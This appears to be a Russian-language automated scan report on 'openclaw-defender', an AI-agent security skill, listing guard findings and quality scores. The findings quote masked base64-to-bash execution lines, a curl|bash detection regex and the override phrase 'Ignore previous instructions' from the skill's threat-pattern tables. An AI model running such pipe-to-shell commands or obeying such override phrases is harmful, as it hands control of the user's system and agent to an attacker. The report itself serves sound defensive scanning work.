DF openclaw-defender
Защищает вашего агента OpenClaw от угроз, обнаруженных в исследовании Snyk ToxicSkills (февраль 2026 г.):
машинный переводПоказать оригиналСкрыть оригинал«Protects your OpenClaw agent from the threats discovered in Snyk's Tox…»
Protects your OpenClaw agent from the threats discovered in Snyk's ToxicSkills research (Feb 2026):
Защищает вашего агента OpenClaw от угроз, обнаруженных в исследовании Snyk ToxicSkills (февраль 2026 г.):
Как процесс F 48/100 · Не запустится — Скилл ссылается на файлы, которых нет в архиве: references/blocklist.conf
Чем это грозит
Скилл содержит фрагменты, которые в чужих руках стоят денег или данных. Ниже, что рискует потерять тот, кто установит, и что должен сделать автор.
Скилл содержит команды, которые удаляют файлы, переписывают диски или исполняют код, скачанный из сети. Агент может выполнить их без вопроса, если считает, что так требует инструкция.
Замените разрушительные команды на безопасные аналоги с подтверждением, ограничьте область действия конкретной папкой и не тяните код через curl | bash: укажите версию и контрольную сумму.
Ниже описан худший случай для этой категории. Здесь находка средней серьёзности: guard увидел признак, но не доказательство.
В тексте есть фразы вроде «игнорируй предыдущие инструкции» или «теперь ты…». Это попытка перехватить управление агентом: он может нарушить ваши правила, системные ограничения или политику компании.
Такие фразы не нужны честному скиллу: сформулируйте роль и правила прямо, без отмены чужих инструкций. Иначе сканеры каталогов и корпоративные фильтры заблокируют публикацию.
Как улучшить
- Разберите находки высокой серьёзности: каждая стоит 18 баллов безопасности. Если это ложное срабатывание, добавьте код правила в guard.allow в spec.yaml.
- Скажите в description, КОГДА применять скилл («используй, когда…», примеры запросов): это главный сигнал для агента.
- В тексте есть ссылки на отсутствующие файлы: добавьте файлы или уберите ссылки.
- Свои кейсы (evals/evals.json, 4–6 реальных запросов с ожидаемыми ответами): тогда полная проверка прогонит именно их, а не черновик от модели.
- spec.yaml с триггерными фразами и утверждениями — контракт поведения для CI; `skilltest init` создаст шаблон.
Находки guard · 24
-
высокая Опасные команды
cmd-encoded-execREADME.md:102Выполнение закодированного (base64) кода (документация security-скилла)echo "Y3Vy…b20=" | base64 -d | bash
security-скилл -
высокая Опасные команды
cmd-encoded-execSKILL.md:249Выполнение закодированного (base64) кода (документация security-скилла)echo "Y3Vy…b20=" | base64 -d | bash
security-скилл
Средние и низкие: 22
-
средняя Подмена инструкций
en-ignore-previousreferences/threat-patterns.md:21Фраза-перехват ("ignore previous instructions") (документация security-скилла)| Ignore previous instructions | CRITICAL | "Ignore previous instructions and..." |
security-скилл -
средняя Опасные команды
cmd-pipe-to-shellreferences/threat-patterns.md:64Скачивание и запуск удалённого кода с неизвестного хоста (pipe в shell) (документация security-скилла)- curl\|bash: `(curl|wget).*\|.*(bash|sh)`
security-скилл -
низкая Опасные команды
cmd-cron-mentionREADME.md:38Упоминание редактирования crontab (документация security-скилла)crontab -e
security-скилл -
низкая Секреты в коде
secret-labelled-tokenreferences/runtime-integration.md:280Токен / ключ рядом с меткой (формат неизвестен — проверьте, что это не живой секрет) (значение-заглушка)echo "API_KEY=0x12…def" | ./runtime-monitor.sh sanitize
заглушка -
низкая Секреты в коде
secret-password-literalreferences/runtime-integration.md:280Захардкоженный пароль / ключ (возможно, пример) (значение-заглушка)echo "API_KEY=0x12…def" | ./runtime-monitor.sh sanitize
заглушка -
низкая Опасные команды
cmd-pipe-to-shellreferences/threat-patterns.md:13Скачивание и запуск удалённого кода с неизвестного хоста (pipe в shell) (строка таблицы в документации; документация security-скилла)| `curl \| bash` / `wget \| sh` | CRITICAL | `curl -fsSL URL \| bash` |
таблицаsecurity-скилл -
низкая Секреты в коде
secret-high-entropy-tokenreferences/toxicskills-research.md:68Строка, похожая на токен (может быть id, хеш или секрет) (в кавычках — упоминание, а не команда)Base64: "UGxl…mRz"
в кавычках -
низкая Рискованное назначение
intent-offensive-securityreferences/toxicskills-research.md:203Наступательная безопасность / двойное назначение (допустимо для авторизованного тестирования; проверьте назначение)Result: Privilege escalation
-
низкая Рискованное назначение
intent-offensive-securityreferences/toxicskills-research.md:315Наступательная безопасность / двойное назначение (допустимо для авторизованного тестирования; проверьте назначение)- Privilege escalation
-
низкая Рискованное назначение
intent-offensive-securityreferences/toxicskills-research.md:324Наступательная безопасность / двойное назначение (допустимо для авторизованного тестирования; проверьте назначение)- Regular penetration testing
-
низкая Рискованное назначение
intent-offensive-securityreferences/toxicskills-research.md:347Наступательная безопасность / двойное назначение (допустимо для авторизованного тестирования; проверьте назначение)- Every tool = potential privilege escalation
-
низкая Рискованное назначение
intent-offensive-securityreferences/toxicskills-research.md:395Наступательная безопасность / двойное назначение (допустимо для авторизованного тестирования; проверьте назначение)1. **Red Team Testing**
-
низкая Опасные команды
cmd-cron-mentionSKILL.md:86Упоминание редактирования crontab (документация security-скилла)crontab -e
security-скилл -
низкая Подмена инструкций
en-ignore-previousSKILL.md:201Фраза-перехват ("ignore previous instructions") (с отрицанием — текст это запрещает)- "Ignore previous instructions" or DAN-style jailbreaks
с отрицанием -
низкая Опасные команды
cmd-pipe-to-shellSKILL.md:204Скачивание и запуск удалённого кода с неизвестного хоста (pipe в shell) (с отрицанием — текст это запрещает)- `curl | bash` patterns
с отрицанием
Ещё 7 совпадений отнесены к цитатам в документации скилла по безопасности и не считаются находками.
Просканировано файлов: 14. Улики замаскированы. Пометки в серых чипах объясняют, почему серьёзность понижена.
По спецификации Agent Skills
- предупреждение
description-no-whendescription не говорит, КОГДА применять скилл (нет "use when / используй когда") - предупреждение
missing-refссылка на отсутствующий файл: references/blocklist.conf
Процессный рейтинг: все десять параметров 48/100
- 0Инструменты и файлы. Не хватает 1 файла(ов): references/blocklist.conf
- 0Результат и критерий готовности. Не сказано, что считать результатом
- 0Входы и предусловия. Не сказано, что нужно иметь на входе
- 30Повторный запуск. Изменяющих операций: 10, без проверки текущего состояния
- 50Когда включается. Не сказано, при каком запросе скилл включается
- 100Шаги. Шагов: 129
- 100Ошибки и развилки. Развилок: 1, есть раздел про ошибки
- 100Согласованность. Имя и обязательные поля на месте
- 100Стоимость исполнения. Тело инструкции 3785 токенов
- 100Отчётность по ходу. Скилл сообщает о ходе работы
- medium Правила безопасности и запреты внутри скилла: их место в системном промпте, здесь они не защищают
- low Разделов верхнего уровня: 12. Похоже на несколько доменов в одном скилле
Всё перечисленное измерено по тексту скилла, а не оценено моделью: цифры проверяемы. Вес параметра тем больше, чем чаще из-за него процесс встаёт.
Сигналы качества
- +5В description нет примеров фраз, по которым скилл должен срабатывать
- +4Описание не говорит, когда скилл НЕ применять (ложные срабатывания)
- +3Длина description 99: рекомендуется 120–800 символов
- +3Формат ответа не описан: модель каждый раз решает сама
- +1Лицензия не указана
- +2Инструкции на одном языке
- +4Структура: 37 заголовков
- +3Пошаговые инструкции: 129 пунктов
- +4Есть примеры (16 блоков кода)
- +4Справочные файлы упоминаются в инструкциях (3 из 5)
- +3Все 7 скриптов описаны в инструкциях
База качества 70; замечания lint вычитаются, сигналы прибавляют до 100. Итог: 70.